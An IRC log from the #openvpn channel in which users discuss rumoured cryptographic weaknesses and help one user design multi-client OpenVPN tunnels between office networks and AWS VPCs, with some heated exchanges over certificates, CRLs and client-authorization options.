18:19 -!- Drone4four_ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
18:22 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has joined #openvpn
18:23 < sander__> I'm wondering.. do anyone know which encryption standars which is broken lately? and if openvpn is affected by it?
18:24 < sander__> I suppose openvpn uses several encryption standards.. so I guess all of them have to be broken for openvpn to be broken?
18:25 < hjohnson> sander__: there haven't been any significant cryptographic breaks yet... mostly it's all side-channel attacks
18:26 < sander__> hjohnson, what do you mean by side-channel attacks?
18:27 < hjohnson> sander__: not attacking the algorithm itself, rather ocmpomising the key
18:28 < sander__> hjohnson, ah. So it's a matter of weak security on eather end of the channel?
18:28 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
18:28 < hjohnson> or otherwise weaknesses in a specific implementation
18:29 < sander__> hjohnson, I read something about that random number generator makes some private keys guessable.
18:29 < hjohnson> sander__: there are some people who claim that inte's RrRand instruction may be compromised
18:30 < hjohnson> it boils down to the fact that random number algorithms should not be chosen at random
18:30 < hjohnson> but in the case of linux, the Rrand is not the only source of entropy
18:32 < hjohnson> on the flip side, the various agencies depend on the same stuff for a good chunk of their security, so you can take a lot of the stuff w.r.t. Snowden with a grain of salt
18:35 < sander__> hjohnson, do you think they are able to do the side-channel attack on a large scale, also with non-important communication?
18:36 < hjohnson> beats me
18:37 < sander__> Or does it require too much cpu?
18:40 < hjohnson> dunno
18:41 < sander__> It was stated in one article that press was asked to not say anything about it.. But all they did, was to not reveal what services and techologies which is backdoored.
18:48 < sander__> They speculate that 256-bit AES is broken. What does openvpn use?
18:54 -!- klein [~klein@177.101.119.158] has joined #openvpn
18:54 -!- klein [~klein@177.101.119.158] has quit [Changing host]
18:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:59 < hjohnson> I doubt that AES is broken
19:00 < hjohnson> its' one of the most intensively studied algorithms out there
19:06 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:06 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
19:08 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has quit [Quit: WeeChat 0.4.1]
19:11 < sander__> hjohnson, isn't it abit strange than nsa was allowed to design some standards?
19:12 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has joined #openvpn
19:14 < hjohnson> sander__: not really
19:14 < Skapare> is there a way to do an openvpn in server mode for multiple clients and configure things like routes (from the server) to different tunnels/clients ? ... or is it better to get set up multiple servers on that host?
19:14 < hjohnson> sander__: you have to remember, they're not just a spy agency, their other main task is to secure information in the US interest
19:14 < sander__> Ah.. makes sense
19:17 < Skapare> the setup I am doing is not a "user access" thing ... it's fixed links between various AWS VPCs and variou subnets at HQ offices ... with codified routes that different for different tunnels ... but I don't see this being easy with a single openvpn process (server mode)
19:18 < hjohnson> Skapare: yeah, not sure on that... I tend to use IPSec for that kind of thing
19:18 < Skapare> why? what does IPsec gain? ... FYI: we're trying to get away from IPsec
19:19 < Skapare> I have a few test tunnels working now ... all based on the example of simple static keys ... routes coded in the openvpn config ... these are working well, stable, and faster than IPsec
19:20 < sander__> Skapare, do you have openvpn set up to assign ips with ifconfig-pool-persis?
19:20 < hjohnson> Skapare: i've got more cisco gear than I can shake a stick at... configuring IPSEc for that stuff is easy, and it doesn't require a computer :)
19:20 < Skapare> no, the IPs are hard coded in config files on each end
19:21 < Skapare> one end of every tunnel is a AWS EC2 instance in an AWS VPC, so one end is always software
19:22 < Skapare> all of these tunnels are for things at the office to link into VPCs in the cloud
19:23 < hjohnson> damnit... this bloody cisco oruter i'm workign with right now
19:23 < hjohnson> I swear, I need a priest and some holy water to resolve this issue
19:24 < Skapare> you have problems with cisco?
19:24 < hjohnson> well, I always do, but htis one is particularly wierd... one card refuses to work reliably in this one router, works fine in other routers, other cards work fine in the the same slot
19:24 < Skapare> is that cisco on both ends of a tunnel?
19:24 < hjohnson> this isn't related to my VPN stuff, this is another unit i'm troubleshooting
19:24 < Skapare> then sounds like a bad card
19:25 < hjohnson> Skapare: except that the card is perfectly ok in other routers
19:25 < hjohnson> i've beaten the snot out of it in other routers
19:25 < hjohnson> if I move it to another slot it works fine, problem sis that in the meachincs of this product, the other slot isn't feesible
19:25 < Skapare> so it's a hardware link issue you have with cisco, not openvpn related
19:26 < hjohnson> oh, totally, completely irrelevant to the discussion at hand
19:26 < hjohnson> and this actually was in the wrong channel, meant to put it in #cisco
19:27 < Skapare> well, I need to set up openvpn based tunnel links from various depts at the HQ office (all linux) to various cloud AWS VPC gateways (all linux)
19:27 < Skapare> I have a few set up now ... one linux box connecting to 3 different AWS VPCs
19:28 < hjohnson> can you do it backwards, with the AWCs conencting to the concentrator?
19:28 < sander__> Skapare, are your running in bridge mode?
19:28 -!- Briareos1_ [~quassel@81.17.16.170] has joined #openvpn
19:29 -!- Briareos1 [~quassel@r201-217-140-250.ir-static.anteldata.net.uy] has quit [Ping timeout: 245 seconds]
19:29 < Skapare> no ... and I prefer not to ... the subnets at each end are differently numbered
19:29 < Skapare> the office is connecting to AWS because the office points do not have IPs to connect to ... so the office side is always client
19:30 < hjohnson> oh
19:30 < hjohnson> right
19:31 < Skapare> so an AWS instance with an EIP is the server side (multiple of these eventually in all regions, under multiple accounts)
19:31 < Skapare> most clients will connect to all ... some to some
19:32 < Skapare> I have one machine being a client now, connecting to the VPCs we already have
19:32 -!- Martyn [~Martin@216.38.134.150] has joined #openvpn
19:32 < Skapare> so each AWS server is getting one client connected ... I used the simple static setup for that ... but maybe that's not best for multiple clients
19:33 < sander__> Skapare, it's easier to assign ip's on the server.. then all the clients will look the same, and you can atomate it easier.
19:34 < Skapare> what I need next is each openvpn server node in AWS to get connections from multiple clients ... preferrably with static keys for all
19:34 < sander__> automate*
19:34 < Skapare> what do you mean by "clients will look the same"?  They will have different subnets
19:35 < Skapare> for example the client I have running now is 10.3.1.220 and is the gateway for 10.3.1.0/24 ... the next client is 10.3.5.??? and will serv 10.3.5.0/24
19:36 < Skapare> between AWS and HQ no NAT ... all IPs are private
19:37 < sander__> Skapare, why do you need aws nodes to connect to multiple clients?
19:37 < Skapare> AWS IPs are in 172.16/12 and HQ IPs are in 10/8 ... and we decided to use 100.64/10 for link addresses to avoid any conflicts with 192.168/16 based home users
19:38 < Skapare> sander__: the AWS nodes won't make connections, just receive them from the clients ... but different depts need to connect and they cannot all route between each other
19:38 < Skapare> some of them are at our colo facility, for example
19:40 < sander__> Skapare, how many aws openvpn servers do you have? and how many openvpn clients other places do you have? and do you have this working?
19:40 < sander__> I dont understand fully how your network is.
19:40 < Skapare> all client hosts have an address, and subnet, in 10/8 somewhere ... all AWS hosts have an EIP address for openvpn to connect to, and are the way to reach subnets in 172.16/12 somewhere
19:41 < Skapare> sander: I have 6 AWS openvpn servers being tested now ... I have 1 client I am testing now ... these work
19:41 -!- Briareos1 [~quassel@46.19.141.166] has joined #openvpn
19:41 < Skapare> sander: so ONE host for now (multiple to be) has 2 to 6 connections (depending how I do tests) going out to AWS
19:41 -!- Briareos1_ [~quassel@81.17.16.170] has quit [Ping timeout: 240 seconds]
19:42 < sander__> And this one client needs to talk with all openvpn servers?
19:42 < Skapare> sander: later there will be more AWS nodes, too (all server)
19:42 < sander__> Skapare, why not make the colo the openvpn server? and the aws nodes the clients?
19:42 < Skapare> I don't know if that need will exist, but it will need to talk to many
19:43 < Skapare> the colo is isolated to 10/8 like the HQ is ... and not everything is in colo
19:44 < Skapare> I don't know if all clients need to connect to all AWS VPCs ... but I'm planning to make sure that is possible
19:44 < Skapare> I do know it's a many-to-many case ... AWS always being the server end ... HQ or colo always being the client end
19:45 < Skapare> I think there will end up being 5 clients anre 8 to 10 servers
19:45 < Skapare> anre=and
19:45 < Skapare> so 40 to 50 tunnels total
19:47 < sander__> Skapare, as long as you use diffrent tun0-10 at each openvpn client.. then each client should be able to connect to all the openvpn servers.. as long as you are on linux.
19:47 < Skapare> on the client end, the CentOS provided init script scans the config directory and starts up a separate openvpn process for each tunnel ... easy to do on clients ... hard to do on servers
19:47 -!- Briareos1 [~quassel@46.19.141.166] has quit [Remote host closed the connection]
19:48 < Skapare> yes, linux all the way (CentOS)
19:49 < Skapare> the issue I run into is that on the AWS side, starting the servers via the init script is hard, because the configuration won't be modified to be correct until AFTER the init scripts run
19:50 < Skapare> so I have to just not use the CentOS init script on the server end ... so that brought up in my mind the question of whether I need to have multiple openvpn server processes (one per tunnel) or if would be viable to get one process to do them all
19:50 < sander__> Skapare, if you have all clients of a given openvpn server in the same subnet.. and assign ip's on the openvpn server.. then you can connect multiple clients to a server.. with only one process on the server.
19:50 < Skapare> I'm favoring the multiple processes, but that's harder to config
19:51 < Skapare> "all clients of a given openvpn server in the same subnet" ... does that mean the client address?  ... the clients will each have different IPs
19:51 < Skapare> in different subnets
19:51 < Skapare> with routes of their subnets going to those clients
19:52 < sander__> all the clients will have one ip in each servers subnet.
19:52 < Skapare> for example for client at 10.3.1.220 I am routing 10.3.1.0/24 to it
19:52 < Skapare> this will be done for all the clients
19:52 < Skapare> each client has a different subnet to have routed to it
19:53 < Skapare> the actual tunnels will have a /30 to number them from the 100.64/10 space (the ARIN shared networks)
19:54 < Skapare> so like:   (172.16.0.0/18) [AWS server] (100.64.72.1) <--> (100.64.72.2) [client gateway] (10.3.5.0/24)
19:55 < Skapare> once the tunnel is up then 172.16.0.24 should be able to talk to 10.3.5.36
19:56 < Skapare> the peers using the tunnel should see their real respective IPs ... no NAT at this layer
19:57 < Skapare> for example with what I have up right now, 3 subnets, a host in each subnet can talk to 10.3.1.130 ... by it's normal IP
19:58 < Skapare> all IPs in private ranges inside tunnels ... only the AWS connect target has public IPs (AWS EIP addresses)
20:00 < sander__> Skapare, I don't know too much about how a setup without nat works.
20:01 < Skapare> if the boxes that run linux and openvpn were instead all connected with a T3 hardware link, it would be the same ... except no openvpn configs or processes
20:01 < Skapare> the nat that exists is outside the tunnels ... how the connection is made
20:02 < sander__> Ok. Then it should work with one process on the openvpn servers.
20:02 < sander__> It's much easier to handle.
20:02 < Skapare> I would think it should, but I don't know if there is an advantage to that
20:02 < sander__> ^
20:03 < sander__> Will be a mess to configure with multiple processes.
20:03 < Skapare> I have not found how to do specific routes with that
20:03 < sander__> iptables?
20:04 < Skapare> if I need to do iptables, then I will need to hard code which tunX interface goes with which tunnel
20:04 < Skapare> right now I don't need to care which tunX is for which tunnel because there is only one
20:05 < Skapare> if there becomes many, then anything OUTSIDE of openvpn will need to know which tunX
20:05 < sander__> Skapare, you defenitely need to hardcode which tunx interface is on each openvpn client.
20:05 < Skapare> so I would need to have some way inside openvpn to specify the runX to use for a specific tunnel or client
20:06 < Skapare> runX = tunX
20:06 < sander__> dev tun0
20:06 < Skapare> if I use separate processes for each tunnel, then I can code the routes inside the openvpn config (separate for each tunnel) and that should go the right way
20:07 < Skapare> how would I do the routes to go different ways for a single tun0 interface?
20:08 < Skapare> would the tun0 be larger than a /30 with multiple target IPs?
20:09 < Skapare> I just don't see how I can set up the routes if multiple tunnels through a single openvpn
20:10 < Skapare> openvpn in client mode supports <connection> context ... I'd need the same thing in server mode to do this
20:10 < Skapare> but all connections connected ... not treated as a list to find one to connect to
20:11 < Skapare> on the client end it would be multiple processes because that's how the init script does it ... I need to decide what the server end will do
20:11 < Skapare> the init script won't be run on the server end ... my own code will start it after init scripts have run
20:12 < sander__> Skapare, check this one out, on how to push configuration to the clients.. then you can hardcode the tunx interface the client will be using from the server: http://unix-heaven.org/openvpn-static-addresses
20:12 <@vpnHelper> Title: Static IP addresses in OpenVPN | unix-heaven.org (at unix-heaven.org)
20:14 < sander__> you have a text file with a list of all common names of all clients, and which ip's they will get.
20:14 < sander__> stored on each server.
20:15 < Skapare> each end already has an IP address that cannot be changed
20:15 < Skapare> unless this is in reference to numbering the tunnel itself
20:16 < sander__> it's for the tunnel.
20:16 < Skapare> OK ... I'll be using the 100.64/10 space or maybe even the 44/8 space for tunnel numbering
20:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:17 < Skapare> since those IPs won't otherwise show up in our network
20:19 < Skapare> but there need be routes coded in somewhere ... so all 10/8 traffic goes to the correct client (not all of 10/8 to one) ... and all 172.16/12 goes to the correct server (not all of it to one)
20:19 < Skapare> it might just be a big coordination effort
20:19 < Skapare> OSPF is not an option here
20:20 < sander__> I would advice to use 192.168.0.0 or 172.20.0.0 for tunnel ip's
20:20 < sander__> or 10.
20:21 -!- krapper [~krapper@territory.krapper.net] has quit [Remote host closed the connection]
20:21 < Skapare> cannot ... those IPs may come to exist ... 172.20 already is
20:21 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
20:21 < sander__> 10.0.0.0 ?
20:21 < Skapare> tunnel numbering cannot be in 10/8 or 172.16/12
20:21 < sander__> Ok
20:22 < Skapare> anything in 10/8 side might be used in office/colo ... anything in 172.16/12 might be used in our AWS instances
20:22 < Skapare> anything in 192.168/16 might be used by users at home (and this is already destined for issues in the common spaces like 192.168.1)
20:23 < Skapare> ... if the users end up connecting into openvpn ... if they use the office remote access, they will be natted to 10/8
20:24 < Skapare> but 100.64/10 is fine for numbering tunnels ... it was intended for numbering things used between companies, such as links
20:24 < sander__> ah, ok:)
20:24 < Skapare> and 44/8 ... that's used on ham radio
20:25 < Skapare> while I am a ham op (KA9WGN) I know the work network will never be doing that, either
20:26 < Skapare> I used to use 1/8 (1.0.0.0-1.255.255.255) for this stuff ... but that was wrong ... and that address space is being used for stuff now
20:26 < sander__> I have to get to bed now.
20:26 < Skapare> g/n and thanks for that link
20:26 < Skapare> I'm reading on it now
20:27 < sander__> No problem. Glad to be helpfull :-)
20:29 -!- Rallias is now known as Rallias-Avoiding
20:29 < Skapare> "client-config-dir" seems like it might be the magic I need
20:30 -!- Rallias-Avoiding is now known as Gasseus
20:48 -!- raidz is now known as raidz_away
20:56 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:59 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
21:05 < Skapare> that document tells me how to set static IPs for each client ... that much is not a problem ... how to set up recognition of each client would be if I use the "one openvpn multiple clients" direction
21:07 < Skapare> also, I do not want to just accept any key that is signed by my CA ... I want to configure it so that the server has a list of keys it will accept ... but I don't know how that would be set up
21:07 < Skapare> that way if I need to disable a key, I can just remove it
21:09 <@ecrist> I don't understand what you're asking
21:10 < Skapare> I guess I need to see the variations on how to set up a server to accept multiple clients ... where a shared static key exists for each client
21:12 <@ecrist> you can't use static keys for multiple clients
21:12 <@ecrist> you must use SSL certificates
21:13 < Skapare> how do I specify which clients I will accept connections from and make tunnels for?
21:13 <@ecrist> you need to create an SSL CA Root certificate, and then generate client certificates
21:14 <@ecrist> !howto
21:14 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:14 < Skapare> fine, I can make CA and signed certs ... but where would I give a list of which ones to accept ... so I can diable one without having to re-generate for the others?
21:15 < Skapare> diable = disable
21:15 <@ecrist> OpenVPN accespts all of them
21:15 <@ecrist> all the certificates signed by the CA
21:15 < Skapare> I need to be able to disable a client so that client cannot use the server
21:15 <@ecrist> you can also add user/pass, or have a --client-connect script which verifies CN on the cert with a list of "authorized" users
21:16 <@ecrist> the proper way to do that is either with user/pass and disable the account, or better, revoke the client certificate
21:16 < Skapare> OK, so --client-connect
21:17 < Skapare> revoking the client cert is a "add to a negative list" ... I want to "remove from a positive list"
21:17 <@ecrist> it doesn't work that way
21:17 < Skapare> so I should just go ahead and run multiple openvpn processes each with their own one-tunnel config?
21:18 <@ecrist> you should listen to what i'm saying and quite being thick-headed
21:18 < Skapare> but you aren't saying something that fits our network requirements
21:19 <@ecrist> openvpn reads a CRL file, and grants/denies access based on that
21:19 < Skapare> what is in the CRL file?  keys?
21:19 <@ecrist> you're correct in that it's a "add to a negative list" method, but that's the way PKI is done
21:19 <@ecrist> certificate revokation list
21:20 <@ecrist> did you try to read the manual at all, or did  you read some bozo's howto and come here hoping someone would do it for you?
21:20 < Skapare> positive authorization is one of the requirements ... so there needs to be some list of who (however identified) is authorized
21:21 <@ecrist> I told you that you can use user/pass, or a --client-connect script to verify the CN on the certificate is authorized to connect
21:21 < Skapare> I tried to read the manual ... but it appears what I am expecting isn't part of openvpn
21:21 <@ecrist> no, you didn't read the manual
21:22 < Skapare> oh, I did ... it is not easy to understand because few examples
21:22 <@ecrist> anyhow, I answered your question, good luck
21:23 < Skapare> none for what I want to do ... but if it doesn't do what I want to do, that would explain why
21:23 <@ecrist> i told you how to do what you need
21:23 <@ecrist> it can be done, we have the technology
21:24 <@ecrist> I don't really care if you use openvpn or not
21:24 < Skapare> why should people care if anyone uses openvpn?
21:27 < sander__> ecrist, if the --client-connect script returns a given value.. isn't the client then denied access?
21:28 <@ecrist> I don't understand your question
21:29 < sander__> ecrist, if the --client-connect script return 1.. then the client is allowed to proceed.. but if it returns 0 or something. then I think I remember that the client is denied access to the openvpn server.
21:29 <@ecrist> anything other than 0 denies access
21:29 < sander__> Maybe I remember wrong.. its a long time since I played with it.
21:29 < sander__> Ah, ok.
21:29 <@ecrist> it's in the man page. :)
21:30 < sander__> I belive that's what Skapare is after.
21:30 <@ecrist> Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
21:30 < Skapare> looks like --client-connect runs cmd via a shell
21:30 <@ecrist> I've been telling hiim to use --client-connect
21:30  * ecrist gives up
21:30 < Skapare> I am investigating it and I see a possible security issue in it
21:31 < sander__> Skapare, you can read out the common name from the --client-connect script some way. and deny based on your own rules with this bash script.
21:31 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:32 < Skapare> the common name is the issue I see ... I need to cross check the CN with the key ... but the id of the key used is not passed in
21:33 < Skapare> if I cannot cross check, then this opens up anyone to access if they know the CN
21:34 < Skapare> also, shell commands might be passed via CN, and cmd never even executed
21:34 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
21:34 < sander__> Skapare, anyone with access to the root cert.. but if one client gets compromised, then you can just deny it.
21:35 < Skapare> the description for --client-connect talks about escape characters that would be needed by a shell ... sounds like it will be running the cmd string via a shell
21:37 < Skapare> not sure how that affects the environment ... the man page doesn't go into detail on this
21:38 < Skapare> I'll use PKI if I have to, but I do not need PKI for this setup ... if with PKI, I need some kind of positive mode authentication
21:39 -!- JSharpe [~JSharpe@h88-150-184-34.host.redstation.co.uk] has joined #openvpn
21:55 -!- guntha_ [~guntha@guntha.thecagedog.com] has quit [Quit: WeeChat 0.3.8]
21:55 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
21:56 -!- Martyn [~Martin@216.38.134.150] has quit []
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:09 <+pekster> Skapare: read what people are saying, hum? ANY mode of auth openvpn does is "posibive" authentication that you WILL NOT be authenticated unless positive valididty has been confirmed
22:09 <+pekster> If this doesn't work for you, you're doing it wrong given the amount of flexibility openvpn gives you
22:11 < Skapare> I'm going with the multiple process method ... each with its own simple config
22:11 < Skapare> the number of clients is not THAT many (5 at most)
22:12 <+pekster> I've no clue what that means
22:12 <+pekster> I use TLS auth for cases when I plan to have no more than 1 server and 2 client for the beneifts it brings
22:13 <+pekster> That should have read 1 server and _1_ client
22:14 < Skapare> I would not rule out using TLS ... but at the moment I am using shared static key for 1:1 ... but the client side is already 1:N and is already using multiple processes
22:15 <+pekster> Suit yourself. TLS handles that in a single instance, although I assume by your assertation you've already ruled out (for possibly foolish reasons) the use of the more sane methods
22:16 < Skapare> which TLS mode are you using?
22:16 < Skapare> (or which does openvpn support)
22:17 <+pekster> There are only 2
22:17 < Skapare> I saw a list of 3 in stunnel docs
22:17 <+pekster> You miss-read --mode
22:18 < Skapare> well, they call it level ... but it's a mode
22:18 <+pekster> OpenVPN can act _either_ as a PtP node, or a server of "many" peers (many being >=1.)
22:18 <+pekster> ..
22:18 <+pekster> huh?
22:18 <+pekster> Can you not read, or do you spout bullshit to anyone who tries to help you?
22:18 < Skapare> can you see -v option on stunnel? ... would openvpn support -v3 ?
22:19 <+pekster> http://paste.kde.org/pa67c09b4/56072113/raw/
22:19 <+pekster> OpenVPN supports *TWO* modes
22:19 <+pekster> I don't use stunnel; try phrasing a question in terms I care about
22:19 < Skapare> I'm referring to TLS cert authorization
22:20 <+pekster> That's one of two authentication models supported by openvpn, yes. The other is static key
22:20 < Skapare> I think you completely misunderstood my question
22:20 <+pekster> In TLS mode you can choose not to use client certs in place of a user/pass (or optionall/in-addition, a C/R, though this is more complex)
22:20 < Skapare> OK, then how to use static key for a server supporting 2 or more clients?
22:20 <+pekster> But Openvpn supports _either_ TLS or static key for auth
22:20 <+pekster> It doesn't
22:20 <+pekster> SOL
22:21 <+pekster> --static implies --mode p2p
22:21 < Skapare> so now you see why I fallback to multiple process method
22:21 <+pekster> No
22:21 <+pekster> I haven't read the last 150 lines of chat, nor do I care to
22:21 < Skapare> can openvpn support multiple p2p in one process?
22:21 <+pekster> No. Use TLS for this
22:22 < Skapare> TLS with static key?
22:22 <+pekster> ...
22:23 < Skapare> I think we are going in circles around an ability that openvpn's "great flexibility" just doesn't support
22:23 <+pekster> What's the actual problem?
22:24 < Skapare> I need to have positive authorization of client ... but it seems openvpn's TLS support is limited to only negative authentication (OK if key signature passes, unless key is in CRL)
22:24 <+pekster> huh?
22:25 <+pekster> TLS only passes if the client posses a certificate that passes standard X509 auth checks
22:25 <+pekster> How the hell is that not positive authentication?
22:25 <+pekster> See also: --ccd-exclusive
22:25 < Skapare> X509 only describes authenticating the key, not authorizing the user
22:25 <+pekster> (which adds _another_ check to the auth requirements)
22:25 <+pekster> Then use --ccd-exclusive
22:25 <+pekster> Or a --client-conenct script
22:26 <+pekster> Or a --tls-verify sceript
22:26 <+pekster> You have _lots_ of options
22:26 < Skapare> I do not yet trust --client-conenct because the man page does not say how the script is executed (via shell or via execve)
22:27 <+pekster> "shell" ?
22:27 < Skapare> I will look deeper at the others and see what they can do
22:27 <+pekster> C code doesn't execute shells; it runs commands
22:27 <+pekster> Anything executable by the OS is run in the context of the openvpn process
22:27 < Skapare> there are plenty of contrary examples of C code in the world ... if openvpn calls execve() directly on the script, then it is doing good
22:28 <+pekster> This is obviously not unique to openvpn; anything your dhcp client daemon runs is run in the context of the dhcpcd process
22:28 <+pekster> Yes, that's the net effect of what happens
22:28 < Skapare> many C programs out there run commands through a shell ... an example reason is to allow use of file redirects
22:28 <+pekster> Stop bitching that openvpn has "no flexibility" when it does, then change the topic when you're shown how you have at least 3 ways to do what you wantn
22:29 <+pekster> a shell?
22:29 < Skapare> "flexibility" to me would be ... give a server a list of client static keys and configs ... and accept any that match ... if I want to revoke, I take the key own
22:30 <+pekster> "take the key own" <-- ???
22:30 < sander__> Skapare, use a --client-connect script which looks like this: echo "new client: $trusted_ip $common_name" >> /tmp/openvpn.log; exit 0;
22:30 < Skapare> ... take the key out
22:30 <+pekster> The fucking read --ccd-exlcusive
22:30 <+pekster> --ccd-exclusive
22:30 <+pekster> Stop asking for stuff openvpn already does
22:30 <+pekster> Then complain more when experts ( ecrist & me from what I've seen) tell you how to do what you want
22:30 < Skapare> now that you told me --client-connect uses execve() direct, then OK on --client-connect ... the MAN PAGE DID NOT!
22:31 <+pekster> If you care, read the source code
22:31 < Skapare> I care to not waste time reading source code
22:31 <+pekster> Otherwise accept that openvpn was (generally) written by people who have a clue. Then go read --ccd-exclusive which _adds_ the exact "extra check" you want
22:32 < Skapare> if I were doing hacking on it, I would read source code ... but it sounds like openvpn has a lot of source code to read
22:32 < Skapare> I will look into --ccd-exclusive ... not sure why I missed that one yet
22:32 <+pekster> If you can't be bothered to read the manpage refrence I've now given you 3 times, you obviously can't bother to read/search the sourcfe code
22:32 <+pekster> I've NFI why you've missed it 3 times either
22:33 <+pekster> Please read the reference I give; I usually give them for a reason
22:33 <+pekster> (either you can't be bothered to do so, or like wasting my time. I'm not yet sure which)
22:33 < Skapare> that is a big complex man page, with few real life example, and poor explanations about how the MANY options interact
22:33 < Skapare> I spent over 100 minutes reading through it the first time ... and maybe understood 1/3 of it
22:33 <+pekster> Then try to take the time to appreciate when someone who is more familiar offers suggestions, and read them before cecoming hostile
22:34 <+pekster> Good reading on this point: http://catb.org/~esr/faqs/smart-questions.html#lesser
22:34 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
22:34 <+pekster> (and the rest of that document is very good reading too if you plan to continue using forums/IRC/mailing-lists for support)
22:35 < sander__> pekster, is it possible to switch common name on a cert without issuing a new root cert?
22:35 < Skapare> people are not listening to ME on how my network is organized ... and the requirements I need to work in ... they make assumptions which are not true or tell me to change things I cannot change
22:35 <+pekster> sander__: "switch"? Once a cert is signed, it's immutable. You can sign a new certificate though; what's the purpose/goal here?
22:35 < Skapare> sander: no, the checksum includes CN
22:36 <+pekster> Skapare: Your "requirements" were earlier in my chat lot. Try explaining them clearly and conciesly, demonstrating you've read the refernece I've given, and explain how your needs can't be met by them
22:36 < Skapare> pekster: I think setting up the multiple process method will take less time
22:37 < sander__> exactly.. means --client-connect also uses a positive security model..
22:37 <+pekster> I'm not reading hundreds or thousands of lines of backlog to fix your mis-understanding. I've generiously given you about 20 minutes of my day, and (AFAICT) you haven't read the 3 manpage options I've shown you
22:37 < Skapare> sander: only if I am the cert signer ... which I am not
22:38 < Skapare> sander: I get the keys from the people managing the clients
22:38 <+pekster> --ccd-exclusive  much?
22:38 <+pekster> huh, you get _keys_
22:38 <+pekster> That's meta-broken
22:38 <+pekster> (keys won't actually tell you the CN)
22:38 < Skapare> no, it's and auditing process
22:39 <+pekster> If you want to piece-meail it to me one abstract concept at a time, I don't care
22:39 < Skapare> openssl tools have shown me CN of keys
22:39 <+pekster> sander__: What's your goal? You just want to change the CN?
22:39 <+pekster> Skapare: You're an idiot. keys don't have CN's. X509 certs doe
22:39 <+pekster> do*
22:39 < sander__> pekster, I was just trying to pinpoint Skapare's problem.
22:40 < Skapare> that's what I thought you meant about keys
22:40 <+pekster> A key is a special asymmetric mathematical model of related numbers in a complex way
22:40 <+pekster> An X509 cert is a signed 'certificate request' by a CA
22:40 <+pekster> They're related, but completely different concepts
22:40 < Skapare> so if keys are not certs in this context, then keys do not have CNs, and then openvpn server won't get CN
22:40 <+pekster> A key is merely a "special number"
22:41 < Skapare> so does openvpn use keys that are X509 or just plain keys w/o CN ?
22:41 <+pekster> The openvpn server is presented with a (presumably) valid and signed X509 data structure that contains the public key and the verifiable signature of the CA
22:42 <+pekster> (in TLS modes, anyway)
22:42 <+pekster> This is standard TLS
22:42 < Skapare> right ... so it IS using X509
22:42 <+pekster> keys do not have CNs
22:42 <+pekster> X509 certs do
22:42 <+pekster> Keys are keys
22:42 < Skapare> that's what I was referring to, that which the client has to send to server
22:43 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dhrixgpwunjsxvhr] has quit [Read error: Connection reset by peer]
22:43 <+pekster> Right, so your issue is what exactly?
22:43 < Skapare> "keys" is a generic term that can mean certs and checksums or whatever else the context needs
22:43 <+pekster> keys do not have CNs. Period.
22:43 <+pekster> keys do not have checksums
22:43 <+pekster> keys do not have certs
22:43 <+pekster> keys do not mean certs
22:43 <+pekster> Got it?
22:43 < Skapare> the client sends what to the server?
22:44 <+pekster> An X509 structure
22:44 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dsolbsyswxqygidd] has joined #openvpn
22:44 <+pekster> The X509 has a CN, but the key does not, The key is included in a valid X509 structure, howerver
22:44 < Skapare> the term "key" is a broad term ... "cypher key" is an example of a more specific term
22:44 -!- [clu5ter] is now known as clu5ter
22:44 -!- clu5ter [~staff@stealth.server.cybscripts.com] has quit [Changing host]
22:44 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:44 <+pekster> It's the same
22:44 < Skapare> it is obvious we can never communicate because we have a different terminology base
22:45 <+pekster> Asymmetric keys involve a pair of mathematically related keys
22:45 <+pekster> I use the standard language used in the spec and by those who know how the technology works
22:45 <+pekster> Can you explain what your problem is?
22:45 < Skapare> there are lots of docs that use the generic terminology of "key"
22:46 < Skapare> if you do not ... maybe explain to me what term you do use for that
22:46 -!- mode/#openvpn [+o pekster] by ChanServ
22:46 <@pekster> This is getting old. Can you ask a question, or do you wish to argue a lot?
22:47 < Skapare> will you let me have the time to go focus on --ccd-exlusive ?
22:47 <@pekster> I'd hoped you'd do so before you continued trying to tell me how wrong I am; by all means, please do
22:47 < Skapare> as long as people keep talking to me in here, I stayed
22:48 <@pekster> Protip: less talking to people who (might, anyway) know more than you. Don't try to school them in topics they (might) be a lot more familiar with than you
22:48 <@pekster> That "how to ask questions the samrt way" document is worth a read as well
22:48 < Skapare> but it would still be of interest to know what term you use for what I use "key" for (which is not what you use "key" for)
22:48 -!- mode/#openvpn [-o pekster] by ChanServ
22:49 <+pekster> A key is merely a seed used to a cryptographic function to produce encrypted content
22:49 <+pekster> In asymmetric cryptography (that used in TLS, and GPG, among others) you need _two_ separate but related keys
22:50 <+pekster> With symmetric cryptography, both ends need the _same_ key, as even a 1-bit difference will not produce the original message and results in garbage
22:50 < Skapare> that's your definition of "key" ... that's not what I asked of you ... I asked what term it is that YOU use instead of "key" for what includes all these cases ... so that you can say what I should use instead of "key"
22:50 <+pekster> This has effectively nothing to do with certificates, beyond that the public component of an asymmetric key is included in a valid X509 certificate structure
